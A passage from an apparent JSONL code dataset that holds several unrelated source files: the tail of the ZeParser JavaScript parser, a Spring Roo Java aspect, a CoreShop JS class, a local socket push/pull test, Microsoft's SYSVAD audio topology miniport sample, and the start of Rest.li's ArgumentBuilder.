'return':\n\t\t\t\t\tmatch = this.eatReturn(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'throw':\n\t\t\t\t\tmatch = this.eatThrow(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'switch':\n\t\t\t\t\tmatch = this.eatSwitch(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'try':\n\t\t\t\t\tmatch = this.eatTryCatchFinally(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'debugger':\n\t\t\t\t\tmatch = this.eatDebugger(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'with':\n\t\t\t\t\tmatch = this.eatWith(match, stack);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'function':\n\t\t\t\t\t// I'm not sure whether this is at all possible.... (but it's bad, either way ;)\n\t\t\t\t\t// so add an error token, but parse the function as if it was a declaration.\n\t\t\t\t\tthis.failignore('StatementMayNotStartWithFunction', match, stack);\n\n\t\t\t\t\t// now parse as declaration... (most likely?)\n\t\t\t\t\tmatch = this.eatFunctionDeclaration(match, stack);\n\n\t\t\t\t\tbreak;\n\t\t\t\tdefault: // either a label or an expression-statement\n\t\t\t\t\tmatch = this.eatLabelOrExpression(match, stack);\n\t\t\t}\n\t\t} else if (match.value == '{') { // Block (make sure you do this before checking for expression...)\n\t\t\tmatch = this.eatBlock(match, stack);\n\t\t} else if (\n\t\t\t// expression statements:\n\t\t\tmatch.isString ||\n\t\t\tmatch.isNumber ||\n\t\t\tmatch.name == 1/*REG_EX*/ ||\n\t\t\tthis.regexLhsStart.test(match.value)\n\t\t) {\n\t\t\tmatch = this.eatExpressions(false, match,stack);\n\t\t\tmatch = this.eatSemiColon(match, stack);\n\t\t} else if (match.value == ';') { // empty statement\n\t\t\tmatch.emptyStatement = true;\n\t\t\tmatch = this.eatSemiColon(match, stack);\n\t\t} else if (!isOptional) {\n\t\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\t\t// unmark token as being start of a statement, since it's obviously not\n\t\t\t\tmatch.statementStart = false;\n\t\t\t} //#endif\n\t\t\tmatch = this.failsafe('UnableToParseStatement', match);\n\t\t} else {\n\t\t\t// unmark token as being start of a statement, since it's obviously not\n\t\t\tif (this.ast) match.statementStart = true;\n\t\t}\n\n\t\tif (this.ast) { //#ifdef FULL_AST\n\t\t\tif (!stack.length) pstack.length = pstack.length-1;\n\n\t\t\t// restore label set\n\t\t\tthis.statementLabels = labelBackup;\n\t\t} //#endif\n\n\t\treturn match;\n\t},\n\n\teatSourceElements: function(match, stack){\n\t\t//this.stats.eatSourceElements = (+//this.stats.eatSourceElements||0)+1;\n\t\t// detecting the start of a statement \"quickly\" is virtually impossible.\n\t\t// instead we keep eating statements until the match stops changing\n\t\t// the first argument indicates that the statement is optional. if that\n\t\t// statement was not found, the input match will also be the output.\n\t\twhile (match != oldMatch) { // difficult to determine whether ` && match.name != 12/*EOF*/` is actually speeding things up. it's an extra check vs one less call to eatStatement...\n\t\t\tvar oldMatch = match;\n\t\t\t// always try to eat function declaration first. otherwise 'function' at the start might cause eatStatement to throw up\n\t\t\tif (match.value == 'function') match = this.eatFunctionDeclaration(match, stack);\n\t\t\telse match = this.eatStatement(true, match, stack);\n\t\t}\n\t\treturn match;\n\t},\n\n\tfailsafe: function(name, match, doNotAddMatch){\n\t\tvar pe = new ZeParser.Error(name, match);\n\t\tthis.errorStack.push(pe);\n\n\t\tif (!doNotAddMatch) {\n\t\t\t// the match was bad, but add it to the ast anyways. in most cases this is the case but in some its not.\n\t\t\t// the tokenizer will pick up on the errorEscape property and add it after the match we passed on.\n\t\t\tif (this.tokenizer.errorEscape) this.stack.push(this.tokenizer.errorEscape);\n\t\t\tthis.tokenizer.errorEscape = match;\n\t\t}\n\t\tvar error = {start:match.start,stop:match.start,len:0, name:14/*error*/,error:pe, value:''};\n\t\tthis.tokenizer.addTokenToStreamBefore(error, match);\n\t\treturn error;\n\t},\n\tfailignore: function(name, match, stack){\n\t\tvar pe = new ZeParser.Error(name, match);\n\t\tthis.errorStack.push(pe);\n\t\t// ignore the error (this will screw up :)\n\t\tvar error = {start:match.start,stop:match.start,len:0,name:14/*error*/,error:pe, value:''};\n\t\tstack.push(error);\n\t\tthis.tokenizer.addTokenToStreamBefore(error, match);\n\t},\n\tfailSpecial: function(error, match, stack){\n\t\t// we cant really ignore this. eat the token\n\t\tstack.push(error);\n\t\tthis.tokenizer.addTokenToStreamBefore(error, match);\n\t},\n\n0:0};\n\n//#ifdef TEST_SUITE\nZeParser.testSuite = function(tests){\n\tvar ok = 0;\n\tvar fail = 0;\n\tvar start = +new Date;\n\tfor (var i = 0; i < tests.length; ++i) {\n\t\tvar test = tests[i], input = test[0], outputLen = test[1].length ? test[1][1] : test[1], desc = test[test.length - 1], stack = [];\n\t\ttry {\n\t\t\tvar result = ZeParser.parse(input, true);\n\t\t\tif (result.length == outputLen) {\n\t\t\t\t++ok;\n\t\t\t} else {\n\t\t\t\t++fail;\n\t\t\t}\n\t\t} catch (e) {\n\t\t\t++fail;\n\t\t}\n\t\tdocument.getElementsByTagName('div')[0].innerHTML = ('Ze parser test suite finished ('+(+new Date - start)+' ms). ok:'+ok+', fail:'+fail);\n\t};\n};\n//#endif\n\nZeParser.regexLhsStart = /[\\+\\-\\~\\!\\(\\{\\[]/;\n/*\nZeParser.regexStartKeyword = /[bcdefinrstvw]/;\nZeParser.regexKeyword = /^break$|^catch$|^continue$|^debugger$|^default$|^delete$|^do$|^else$|^finally$|^for$|^function$|^if$|^in$|^instanceof$|^new$|^return$|^switch$|^this$|^throw$|^try$|^typeof$|^var$|^void$|^while$|^with$/;\nZeParser.regexStartReserved = /[ceis]/;\nZeParser.regexReserved = /^class$|^const$|^enum$|^export$|^extends$|^import$|^super$/;\n*/\nZeParser.regexStartKeyOrReserved = /[bcdefinrstvw]/;\nZeParser.hashStartKeyOrReserved = Object.create ? Object.create(null, {b:{value:1},c:{value:1},d:{value:1},e:{value:1},f:{value:1},i:{value:1},n:{value:1},r:{value:1},s:{value:1},t:{value:1},v:{value:1},w:{value:1}}) : {b:1,c:1,d:1,e:1,f:1,i:1,n:1,r:1,s:1,t:1,v:1,w:1};\nZeParser.regexIsKeywordOrReserved = /^break$|^catch$|^continue$|^debugger$|^default$|^delete$|^do$|^else$|^finally$|^for$|^function$|^if$|^in$|^instanceof$|^new$|^return$|^switch$|^case$|^this$|^true$|^false$|^null$|^throw$|^try$|^typeof$|^var$|^void$|^while$|^with$|^class$|^const$|^enum$|^export$|^extends$|^import$|^super$/;\nZeParser.regexAssignments = /^[\\+\\-\\*\\%\\&\\|\\^\\/]?=$|^\\<\\<\\=$|^\\>{2,3}\\=$/;\nZeParser.regexNonAssignmentBinaryExpressionOperators = /^[\\+\\-\\*\\%\\|\\^\\&\\?\\/]$|^[\\<\\>]\\=?$|^[\\=\\!]\\=\\=?$|^\\<\\<|\\>\\>\\>?$|^\\&\\&$|^\\|\\|$/;\nZeParser.regexUnaryKeywords = /^delete$|^void$|^typeof$|^new$/;\nZeParser.hashUnaryKeywordStart = Object.create ? Object.create(null, {d:{value:1},v:{value:1},t:{value:1},n:{value:1}}) : {d:1,v:1,t:1,n:1};\nZeParser.regexUnaryOperators = /[\\+\\-\\~\\!]/;\nZeParser.regexLiteralKeywords = /^this$|^null$|^true$|^false$/;\n\nZeParser.Error = function(type, match){\n\t//if (type == 'BreakOrContinueArgMustBeJustIdentifier') throw here;\n\tthis.msg = ZeParser.Errors[type].msg;\n\tthis.before = ZeParser.Errors[type].before;\n\tthis.match = match;\n};\n\nZeParser.Errors = {\n\tNoASI: {msg:'Expected semi-colon, was unable to apply ASI'},\n\tExpectedAnotherExpressionComma: {msg:'expecting another (left hand sided) expression after the comma'},\n\tExpectedAnotherExpressionRhs: {msg:\"expected a rhs expression\"},\n\tUnclosedGroupingOperator: {msg:\"Unclosed grouping operator\"},\n\tGroupingShouldStartWithExpression: {msg:'The grouping operator (`(`) should start with a left hand sided expression'},\n\tArrayShouldStartWithExpression: {msg:'The array literal (`[`) should start with a left hand sided expression'},\n\tUnclosedPropertyBracket: {msg:'Property bracket was not closed after expression (expecting `]`)'},\n\tIllegalPropertyNameToken: {msg:'Object literal property names can only be assigned as strings, numbers or identifiers'},\n\tIllegalGetterSetterNameToken: {msg:'Name of a getter/setter can only be assigned as strings, numbers or identifiers'},\n\tGetterSetterNameFollowedByOpenParen: {msg:'The name of the getter/setter should immediately be followed by the opening parenthesis `(`'},\n\tGetterHasNoArguments: {msg:'The opening parenthesis `(` of the getter should be immediately followed by the closing parenthesis `)`, the getter cannot have an argument'},\n\tIllegalSetterArgumentNameToken: {msg:'Expecting the name of the argument of a setter, can only be assigned as strings, numbers or identifiers'},\n\tSettersOnlyGetOneArgument: {msg:'Setters have one and only one argument, missing the closing parenthesis `)`'},\n\tSetterHeaderShouldHaveClosingParen: {msg:'After the first argument of a setter should come a closing parenthesis `)`'},\n\tSettersMustHaveArgument: {msg:'Setters must have exactly one argument defined'},\n\tUnclosedObjectLiteral: {msg:'Expected to find a comma `,` for the next expression or a closing curly brace `}` to end the object literal'},\n\tFunctionNameMustNotBeReserved: {msg:'Function name may not be a keyword or a reserved word'},\n\tExpressionMayNotStartWithKeyword: {msg:'Expressions may not start with keywords or reserved words that are not in this list: [this, null, true, false, void, typeof, delete, new]'},\n\tLabelsMayOnlyBeIdentifiers: {msg:'Label names may only be defined as an identifier'},\n\tLabelsMayNotBeReserved: {msg:'Labels may not be a keyword or a reserved word'},\n\tUnknownToken: {msg:'Unknown token encountered, dont know how to proceed'},\n\tPropertyNamesMayOnlyBeIdentifiers: {msg:'The tokens of property names accessed through the dot operator may only be identifiers'},\n\tSquareBracketExpectsExpression: {msg:'The square bracket property access expects an expression'},\n\tSquareBracketsMayNotBeEmpty: {msg:'Square brackets may never be empty, expecting an expression'},\n\tUnclosedSquareBrackets: {msg:'Unclosed square bracket encountered, was expecting `]` after the expression'},\n\tUnclosedCallParens: {msg:'Unclosed call parenthesis, expecting `)` after the optional expression'},\n\tInvalidCenterTernaryExpression: {msg:'Center expression of ternary operator should be a regular expression (but may not contain the comma operator directly)'},\n\tUnfinishedTernaryOperator: {msg:'Encountered a ternary operator start (`?`) but did not find the required colon (`:`) after the center expression'},\n\tTernarySecondExpressionCanNotContainComma: {msg:'The second and third expressions of the ternary operator can/may not \"directly\" contain a comma operator'},\n\tInvalidRhsExpression: {msg:'Expected a right hand side expression after the operator (which should also be a valid lhs) but did not find one'},\n\tFunctionDeclarationsMustHaveName: {msg:'Function declaration must have name'},\n\tFunctionNameMayNotBeReserved: {msg:'Function name may not be a keyword or reserved word'},\n\tExpectingFunctionHeaderStart: {msg:'Expected the opening parenthesis of the function header'},\n\tFunctionArgumentsCanNotBeReserved: {msg:'Function arguments may not be keywords or reserved words'},\n\tFunctionParametersMustBeIdentifiers: {msg:'Function arguments must be identifiers'},\n\tExpectedFunctionHeaderClose: {msg:'Expected the closing parenthesis `)` of the function header'},\n\tExpectedFunctionBodyCurlyOpen: {msg:'Expected the opening curly brace `{` for the function body'},\n\tExpectedFunctionBodyCurlyClose: {msg:'Expected the closing curly brace `}` for the function body'},\n\tVarNamesMayOnlyBeIdentifiers: {msg:'Missing variable name, must be a proper identifier'},\n\tVarNamesCanNotBeReserved: {msg:'Variable names may not be keywords or reserved words'},\n\tVarInitialiserExpressionExpected: {msg:'The initialiser of the variable statement should be an expression without comma'},\n\tExpectedStatementHeaderOpen: {msg:'Expected opening parenthesis `(` for statement header'},\n\tStatementHeaderIsNotOptional: {msg:'Statement header must not be empty'},\n\tExpectedStatementHeaderClose: {msg:'Expected closing parenthesis `)` for statement header'},\n\tDoShouldBeFollowedByWhile: {msg:'The do-while statement requires the `while` keyword after the expression'},\n\tExpectedSecondSemiOfForHeader: {msg:'Expected the second semi-colon of the for-each header'},\n\tForHeaderShouldHaveSemisOrIn: {msg:'The for-header should contain at least the `in` operator or two semi-colons (`;`)'},\n\tSwitchBodyStartsWithCurly: {msg:'The body of a switch statement starts with a curly brace `{`'},\n\tSwitchClausesEndWithColon: {msg:'Switch clauses (`case` and `default`) end with a colon (`:`)'},\n\tSwitchCannotHaveDoubleDefault: {msg:'Switches cannot have more than one `default` clause'},\n\tSwitchBodyEndsWithCurly: {msg:'The body of a switch statement ends with a curly brace `}`'},\n\tMissingTryBlockCurlyOpen: {msg:'Missing the opening curly brace (`{`) for the block of the try statement'},\n\tMissingTryBlockCurlyClose: {msg:'Missing the closing curly brace (`}`) for the block of the try statement'},\n\tCatchHeaderMissingOpen: {msg:'Missing the opening parenthesis of the catch header'},\n\tMissingCatchParameter: {msg:'Catch clauses should have exactly one argument which will be bound to the error object being thrown'},\n\tCatchParameterNameMayNotBeReserved: {msg:'Catch clause parameter may not be a keyword or reserved word'},\n\tCatchHeaderMissingClose: {msg:'Missing the closing parenthesis of the catch header'},\n\tMissingCatchBlockCurlyOpen: {msg:'Missing the opening curly brace (`{`) for the block of the catch statement'},\n\tMissingCatchBlockCurlyClose: {msg:'Missing the closing curly brace (`}`) for the block of the catch statement'},\n\tMissingFinallyBlockCurlyOpen: {msg:'Missing the opening curly brace (`{`) for the block of the finally statement'},\n\tMissingFinallyBlockCurlyClose: {msg:'Missing the closing curly brace (`}`) for the block of the finally statement'},\n\tStatementMayNotStartWithFunction: {msg:'statements may not start with function...', before:true},\n\tBlockCurlyClose: {msg:'Expected the closing curly (`}`) for a block statement'},\n\tBlockCurlyOpen: {msg:'Expected the closing curly (`}`) for a block statement'},\n\tUnableToParseStatement: {msg:'Was unable to find a statement when it was requested'},\n\tIllegalDoubleCommaInObjectLiteral: {msg:'A double comma in object literals is not allowed'},\n\tObjectLiteralExpectsColonAfterName: {msg:'After every property name (identifier, string or number) a colon (`:`) should follow'},\n\tThrowMustHaveArgument: {msg:'The expression argument for throw is not optional'},\n\tThrowCannotHaveReturn: {msg:'There may not be a return between throw and the start of its expression argument'},\n\tSwitchBodyMustStartWithClause: {msg:'The body of a switch clause must start with at a case or default clause (but may be empty, which would be silly)'},\n\tBreakOrContinueArgMustBeJustIdentifier: {msg:'The argument to a break or continue statement must be exactly and only an identifier (an existing label)'},\n\tAssignmentNotAllowedAfterNonAssignmentInExpression: {msg:'An assignment is not allowed if it is preceeded by a non-expression operator in the same expression-level'},\n\tIllegalLhsForAssignment: {msg:'Illegal left hand side for assignment (you cannot assign to things like string literals, number literals or function calls}'},\n\tVarKeywordMissingName: {msg:'Var keyword should be followed by a variable name'},\n\tIllegalTrailingComma: {msg:'Illegal trailing comma found'},\n\tObjectLiteralMissingPropertyValue: {msg:'Missing object literal property value'},\n\tTokenizerError: {msg:'Tokenizer encountered unexpected input'},\n\tLabelRequiresStatement: {msg:'Saw a label without the (required) statement following'},\n\tDidNotExpectElseHere: {msg:'Did not expect an else here. To what if should it belong? Maybe you put a ; after the if-block? (if(x){};else{})'},\n\tUnexpectedToken: {msg:'Found an unexpected token and have no idea why'},\n\tInvalidPostfixOperandArray: {msg:'You cannot apply ++ or -- to an array'},\n\tInvalidPostfixOperandObject: {msg:'You cannot apply ++ or -- to an object'},\n\tInvalidPostfixOperandFunction: {msg:'You cannot apply ++ or -- to a function'},\n\tCaseMissingExpression: {msg:'Case expects an expression before the colon'},\n\tTryMustHaveCatchOrFinally: {msg:'The try statement must have a catch or finally block'},\n\tUnexpectedInputSwitch: {msg:'Unexpected input while parsing a switch clause...'},\n\tForInCanOnlyDeclareOnVar: {msg:'For-in header can only introduce one new variable'}\n};\n"} {"text": "// WARNING: DO NOT EDIT THIS FILE. THIS FILE IS MANAGED BY SPRING ROO.\n// You may push code into the target .java compilation unit if you wish to edit any member(s).\n\npackage nl.bzk.brp.model.data.ber;\n\nimport java.util.Set;\nimport javax.persistence.Column;\nimport javax.persistence.JoinColumn;\nimport javax.persistence.ManyToOne;\nimport javax.persistence.OneToMany;\nimport nl.bzk.brp.model.data.ber.Admhndgedeblokkeerdemelding;\nimport nl.bzk.brp.model.data.ber.Gedeblokkeerdemelding;\nimport nl.bzk.brp.model.data.kern.Element;\nimport nl.bzk.brp.model.data.kern.Regel;\n\nprivileged aspect Gedeblokkeerdemelding_Roo_DbManaged {\n \n @OneToMany(mappedBy = \"gedeblokkeerdemelding\")\n private Set<Admhndgedeblokkeerdemelding> Gedeblokkeerdemelding.admhndgedeblokkeerdemeldings;\n \n @ManyToOne\n @JoinColumn(name = \"attribuut\", referencedColumnName = \"id\")\n private Element Gedeblokkeerdemelding.attribuut;\n \n @ManyToOne\n @JoinColumn(name = \"regel\", referencedColumnName = \"id\", nullable = false)\n private Regel Gedeblokkeerdemelding.regel;\n \n @Column(name = \"melding\", columnDefinition = \"varchar\", length = 200)\n private String Gedeblokkeerdemelding.melding;\n \n public Set<Admhndgedeblokkeerdemelding> Gedeblokkeerdemelding.getAdmhndgedeblokkeerdemeldings() {\n return admhndgedeblokkeerdemeldings;\n }\n \n public void Gedeblokkeerdemelding.setAdmhndgedeblokkeerdemeldings(Set<Admhndgedeblokkeerdemelding> admhndgedeblokkeerdemeldings) {\n this.admhndgedeblokkeerdemeldings = admhndgedeblokkeerdemeldings;\n }\n \n public Element Gedeblokkeerdemelding.getAttribuut() {\n return attribuut;\n }\n \n public void Gedeblokkeerdemelding.setAttribuut(Element attribuut) {\n this.attribuut = attribuut;\n }\n \n public Regel Gedeblokkeerdemelding.getRegel() {\n return regel;\n }\n \n public void Gedeblokkeerdemelding.setRegel(Regel regel) {\n this.regel = regel;\n }\n \n public String Gedeblokkeerdemelding.getMelding() {\n return melding;\n }\n \n public void Gedeblokkeerdemelding.setMelding(String melding) {\n this.melding = melding;\n }\n \n}\n"} {"text": "/*\n * CoreShop.\n *\n * This source file is subject to the GNU General Public License version 3 (GPLv3)\n * For the full copyright and license information, please view the LICENSE.md and gpl-3.0.txt\n * files that are distributed with this source code.\n *\n * @copyright Copyright (c) 2015-2020 Dominik Pfaffenbauer (https://www.pfaffenbauer.at)\n * @license https://www.coreshop.org/license GNU General Public License version 3 (GPLv3)\n *\n */\n\npimcore.registerNS('coreshop.notification.rule.conditions.orderTransition');\n\ncoreshop.notification.rule.conditions.orderTransition = Class.create(coreshop.notification.rule.conditions.abstractTransition, {\n type: 'orderTransition',\n\n getRepoName: function() {\n return 'coreshop_transitions_order';\n }\n});\n"} {"text": "\nvar ss = require('../')\n , should = require('should');\n\n// multiple pushers\n\nvar pusher1 = ss.socket('push');\nvar pusher2 = ss.socket('push');\nvar pusher3 = ss.socket('push');\n\npusher1.bind(4000);\npusher2.bind(4445);\npusher3.bind(4446);\n\npusher1.send('hey');\npusher2.send('hey');\npusher3.send('hey');\n\n// one puller that connects to many pushers\n\nvar pull = ss.socket('pull');\n\npull.connect(4000);\npull.connect(4445);\npull.connect(4446);\n\nvar msgs = [];\n\npull.on('message', function(msg){\n var n = msgs.push(msg.toString());\n if (n == 3) {\n msgs.join(' ').should.equal('hey hey hey');\n pusher1.close();\n pusher2.close();\n pusher3.close();\n pull.close();\n }\n});\n"} {"text": "/*++\n\nCopyright (c) Microsoft Corporation All Rights Reserved\n\nModule Name:\n\n basetopo.cpp\n\nAbstract:\n\n Implementation of topology miniport. This the base class for \n all SYSVAD samples\n\n--*/\n\n//4127: conditional expression is constant\n#pragma warning (disable : 4127)\n\n#include \"VirtualAudioMicArray.h\"\n#include \"basetopo.h\"\n\n//=============================================================================\n#pragma code_seg(\"PAGE\")\nCMiniportTopologySYSVAD::CMiniportTopologySYSVAD\n(\n _In_ PCFILTER_DESCRIPTOR *FilterDesc,\n _In_ USHORT DeviceMaxChannels\n)\n/*++\n\nRoutine Description:\n\n Topology miniport constructor\n\nArguments:\n\n FilterDesc - \n\n DeviceMaxChannels - \n\nReturn Value:\n\n void\n\n--*/\n{\n PAGED_CODE();\n\n DPF_ENTER((\"[%s]\",__FUNCTION__));\n\n m_AdapterCommon = NULL;\n\n ASSERT(FilterDesc != NULL);\n m_FilterDescriptor = FilterDesc;\n m_PortEvents = NULL;\n \n ASSERT(DeviceMaxChannels > 0);\n m_DeviceMaxChannels = DeviceMaxChannels;\n} // CMiniportTopologySYSVAD\n\nCMiniportTopologySYSVAD::~CMiniportTopologySYSVAD\n(\n void\n)\n/*++\n\nRoutine Description:\n\n Topology miniport destructor\n\nArguments:\n\nReturn Value:\n\n void\n\n--*/\n{\n PAGED_CODE();\n\n DPF_ENTER((\"[%s]\",__FUNCTION__));\n\n SAFE_RELEASE(m_AdapterCommon);\n SAFE_RELEASE(m_PortEvents);\n} // ~CMiniportTopologySYSVAD\n\n//=============================================================================\n#pragma code_seg(\"PAGE\")\nNTSTATUS\nCMiniportTopologySYSVAD::DataRangeIntersection\n( \n _In_ ULONG PinId,\n _In_ PKSDATARANGE ClientDataRange,\n _In_ PKSDATARANGE MyDataRange,\n _In_ ULONG OutputBufferLength,\n _Out_writes_bytes_to_opt_(OutputBufferLength, *ResultantFormatLength)\n PVOID ResultantFormat OPTIONAL,\n _Out_ PULONG ResultantFormatLength \n)\n/*++\n\nRoutine Description:\n\n The DataRangeIntersection function determines the highest \n quality intersection of two data ranges. Topology miniport does nothing.\n\nArguments:\n\n PinId - Pin for which data intersection is being determined. \n\n ClientDataRange - Pointer to KSDATARANGE structure which contains the data range \n submitted by client in the data range intersection property \n request\n\n MyDataRange - Pin's data range to be compared with client's data range\n\n OutputBufferLength - Size of the buffer pointed to by the resultant format \n parameter\n\n ResultantFormat - Pointer to value where the resultant format should be \n returned\n\n ResultantFormatLength - Actual length of the resultant format that is placed \n at ResultantFormat. This should be less than or equal \n to OutputBufferLength\n\nReturn Value:\n\n NT status code.\n\n--*/\n{\n UNREFERENCED_PARAMETER(PinId);\n UNREFERENCED_PARAMETER(ClientDataRange);\n UNREFERENCED_PARAMETER(MyDataRange);\n UNREFERENCED_PARAMETER(OutputBufferLength);\n UNREFERENCED_PARAMETER(ResultantFormat);\n UNREFERENCED_PARAMETER(ResultantFormatLength);\n\n PAGED_CODE();\n\n DPF_ENTER((\"[%s]\",__FUNCTION__));\n\n return (STATUS_NOT_IMPLEMENTED);\n} // DataRangeIntersection\n\n//=============================================================================\n#pragma code_seg(\"PAGE\")\nNTSTATUS\nCMiniportTopologySYSVAD::GetDescription\n( \n _Out_ PPCFILTER_DESCRIPTOR * OutFilterDescriptor \n)\n/*++\n\nRoutine Description:\n\n The GetDescription function gets a pointer to a filter description. \n It provides a location to deposit a pointer in miniport's description \n structure. This is the placeholder for the FromNode or ToNode fields in \n connections which describe connections to the filter's pins\n\nArguments:\n\n OutFilterDescriptor - Pointer to the filter description. \n\nReturn Value:\n\n NT status code.\n\n--*/\n{\n PAGED_CODE();\n\n ASSERT(OutFilterDescriptor);\n\n DPF_ENTER((\"[%s]\",__FUNCTION__));\n\n *OutFilterDescriptor = m_FilterDescriptor;\n\n return (STATUS_SUCCESS);\n} // GetDescription\n\n//=============================================================================\n#pragma code_seg(\"PAGE\")\nNTSTATUS\nCMiniportTopologySYSVAD::Init\n( \n _In_ PUNKNOWN UnknownAdapter_,\n _In_ PPORTTOPOLOGY Port_ \n)\n/*++\n\nRoutine Description:\n\n Initializes the topology miniport.\n\nArguments:\n\n UnknownAdapter -\n\n Port_ - Pointer to topology port\n\nReturn Value:\n\n NT status code.\n\n--*/\n{\n PAGED_CODE();\n \n ASSERT(UnknownAdapter_);\n ASSERT(Port_);\n\n DPF_ENTER((\"[CMiniportTopologySYSVAD::Init]\"));\n\n NTSTATUS ntStatus;\n\n ntStatus = \n UnknownAdapter_->QueryInterface( \n IID_IAdapterCommon,\n (PVOID *) &m_AdapterCommon);\n \n if (NT_SUCCESS(ntStatus))\n {\n //\n // Get the port event interface.\n //\n ntStatus = Port_->QueryInterface(\n IID_IPortEvents, \n (PVOID *)&m_PortEvents);\n }\n\n if (!NT_SUCCESS(ntStatus))\n {\n // clean up AdapterCommon\n SAFE_RELEASE(m_AdapterCommon);\n SAFE_RELEASE(m_PortEvents);\n }\n\n return ntStatus;\n} // Init\n\n//=============================================================================\n#pragma code_seg(\"PAGE\")\nNTSTATUS \nCMiniportTopologySYSVAD::PropertyHandlerGeneric\n(\n _In_ PPCPROPERTY_REQUEST PropertyRequest\n)\n/*++\n\nRoutine Description:\n\n Handles all properties for this miniport.\n\nArguments:\n\n PropertyRequest - property request structure\n\nReturn Value:\n\n NT status code.\n\n--*/\n{\n PAGED_CODE();\n\n NTSTATUS ntStatus = STATUS_INVALID_DEVICE_REQUEST;\n\n switch (PropertyRequest->PropertyItem->Id)\n {\n\n case KSPROPERTY_AUDIO_CPU_RESOURCES:\n ntStatus = PropertyHandler_CpuResources(PropertyRequest);\n break;\n\n default:\n DPF(D_TERSE, (\"[PropertyHandlerGeneric: Invalid Device Request]\"));\n }\n\n return ntStatus;\n} // PropertyHandlerGeneric\n\n//=============================================================================\n#pragma code_seg(\"PAGE\")\nVOID\nCMiniportTopologySYSVAD::AddEventToEventList\n(\n _In_ PKSEVENT_ENTRY EventEntry \n)\n/*++\n\nRoutine Description:\n\n The AddEventToEventList method adds an event to the port driver's event list\n\nArguments:\n\n EventEntry - \n\n--*/\n{\n PAGED_CODE();\n DPF_ENTER((\"[CMiniportTopology::AddEventToEventList]\"));\n\n ASSERT(m_PortEvents != NULL);\n\n m_PortEvents->AddEventToEventList(EventEntry);\n}\n\n//=============================================================================\n#pragma code_seg()\nVOID\nCMiniportTopologySYSVAD::GenerateEventList\n(\n _In_opt_ GUID *Set,\n _In_ ULONG EventId,\n _In_ BOOL PinEvent,\n _In_ ULONG PinId,\n _In_ BOOL NodeEvent,\n _In_ ULONG NodeId\n)\n/*++\n\nRoutine Description:\n\n The GenerateEventList method notifies clients through the port driver's list \n of event entries that a particular event has occurred.\n\nArguments:\n\n Set -\n\n EventId - \n\n PinEvent -\n\n PinId -\n\n NodeEvent -\n\n NodeId -\n\n--*/\n{\n DPF_ENTER((\"[CMiniportTopologySYSVAD::GenerateEventList]\"));\n\n ASSERT(m_PortEvents != NULL);\n\n m_PortEvents->GenerateEventList(\n Set,\n EventId,\n PinEvent,\n PinId,\n NodeEvent,\n NodeId);\n}\n \n#pragma code_seg()\n\n"} {"text": "/*\n Copyright (c) 2012 LinkedIn Corp.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*/\n\npackage com.linkedin.restli.internal.server.methods.arguments;\n\nimport com.linkedin.data.ByteString;\nimport com.linkedin.data.DataList;\nimport com.linkedin.data.DataMap;\nimport com.linkedin.data.schema.ArrayDataSchema;\nimport com.linkedin.data.schema.DataSchemaUtil;\nimport com.linkedin.data.template.AbstractArrayTemplate;\nimport com.linkedin.data.template.DataTemplate;\nimport com.linkedin.data.template.DataTemplateUtil;\nimport com.linkedin.data.template.DynamicRecordTemplate;\nimport com.linkedin.data.template.InvalidAlternativeKeyException;\nimport com.linkedin.data.template.RecordTemplate;\nimport com.linkedin.data.template.TemplateRuntimeException;\nimport com.linkedin.entitystream.EntityStreams;\nimport com.linkedin.entitystream.WriteHandle;\nimport com.linkedin.entitystream.Writer;\nimport com.linkedin.internal.common.util.CollectionUtils;\nimport com.linkedin.r2.message.rest.RestRequest;\nimport com.linkedin.restli.common.BatchRequest;\nimport com.linkedin.restli.common.ComplexKeySpec;\nimport com.linkedin.restli.common.ComplexResourceKey;\nimport com.linkedin.restli.common.CompoundKey;\nimport com.linkedin.restli.common.HttpStatus;\nimport com.linkedin.restli.common.ProtocolVersion;\nimport com.linkedin.restli.common.ResourceMethod;\nimport com.linkedin.restli.common.RestConstants;\nimport com.linkedin.restli.common.TypeSpec;\nimport com.linkedin.restli.common.validation.RestLiDataValidator;\nimport com.linkedin.restli.internal.common.PathSegment;\nimport com.linkedin.restli.internal.common.QueryParamsDataMap;\nimport com.linkedin.restli.internal.server.RoutingResult;\nimport com.linkedin.restli.internal.server.ServerResourceContext;\nimport com.linkedin.restli.internal.server.model.Parameter;\nimport com.linkedin.restli.internal.server.model.ResourceMethodDescriptor;\nimport com.linkedin.restli.internal.server.model.ResourceModel;\nimport com.linkedin.restli.internal.server.util.AlternativeKeyCoercerException;\nimport com.linkedin.restli.internal.server.util.ArgumentUtils;\nimport com.linkedin.restli.internal.server.util.DataMapUtils;\nimport com.linkedin.restli.internal.server.util.RestUtils;\nimport com.linkedin.restli.server.Key;\nimport com.linkedin.restli.server.PagingContext;\nimport com.linkedin.restli.server.ResourceConfigException;\nimport com.linkedin.restli.server.ResourceContext;\nimport com.linkedin.restli.server.RestLiServiceException;\nimport com.linkedin.restli.server.RoutingException;\nimport com.linkedin.restli.server.UnstructuredDataReactiveReader;\nimport com.linkedin.restli.server.UnstructuredDataWriter;\nimport com.linkedin.restli.server.annotations.HeaderParam;\nimport com.linkedin.restli.server.config.ResourceMethodConfig;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.lang.reflect.Array;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\n\n/**\n * @author Josh Walker\n * @version $Revision: $\n */\npublic class ArgumentBuilder\n{\n /**\n * Build arguments for resource method invocation. Combines various types of arguments\n * into a single array.\n *\n * @param positionalArguments pass-through arguments coming from\n * {@link RestLiArgumentBuilder}\n * @param resourceMethod the resource method\n * @param context {@link ResourceContext}\n * @param template {@link DynamicRecordTemplate}\n * @return array of method argument for method invocation.\n */\n 